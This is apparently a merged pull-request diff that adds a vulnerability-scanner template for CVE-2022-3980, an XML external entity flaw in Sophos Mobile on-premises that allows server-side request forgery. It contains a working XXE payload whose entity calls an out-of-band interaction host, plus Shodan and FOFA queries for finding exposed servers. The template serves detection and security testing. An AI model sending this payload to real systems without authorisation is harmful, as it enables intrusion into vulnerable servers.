Merge pull request #7203 from david-bla/add-sophos-mobile-xxe_cve-2022-3980

add template for sophos mobile xxe ssrf (cve-2022-3980)

http/cves/2022/CVE-2022-3980.yaml

@@ -0,0 +1,44 @@
+id: CVE-2022-3980
+
+info:
+  name: Sophos Mobile managed on-premises - XML External Entity Injection
+  author: dabla
+  severity: critical
+  description: |
+    An XML External Entity (XXE) vulnerability allows server-side request forgery (SSRF) and potential code execution in Sophos Mobile managed on-premises between versions 5.0.0 and 9.7.4.
+  reference:
+    - https://www.sophos.com/en-us/security-advisories/sophos-sa-20221116-smc-xee
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-3980
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cwe-id: CWE-611
+    cve-id: CVE-2022-3980
+  metadata:
+    max-request: 1
+    verified: "true"
+    shodan-query: http.favicon.hash:-1274798165
+    fofa-query: title="Sophos Mobile"
+  tags: cve,cve2022,xxe,ssrf,sophos
+
+http:
+  - raw:
+      - |
+        @timeout: 50s
+        POST /servlets/OmaDsServlet HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: "application/xml"
+
+        <?xml version="1.0"?>
+        <!DOCTYPE cdl [<!ENTITY % test SYSTEM "http://{{interactsh-url}}">%test;]>
+        <cdl>test</cdl>
+
+    redirects: true
+    max-redirects: 3
+    matchers:
+      - type: dsl
+        dsl:
+          - "contains(interactsh_protocol, 'http') || contains(interactsh_protocol, 'dns')"
+          - "status_code == 400"
+          - "len(body) == 0"
+        condition: and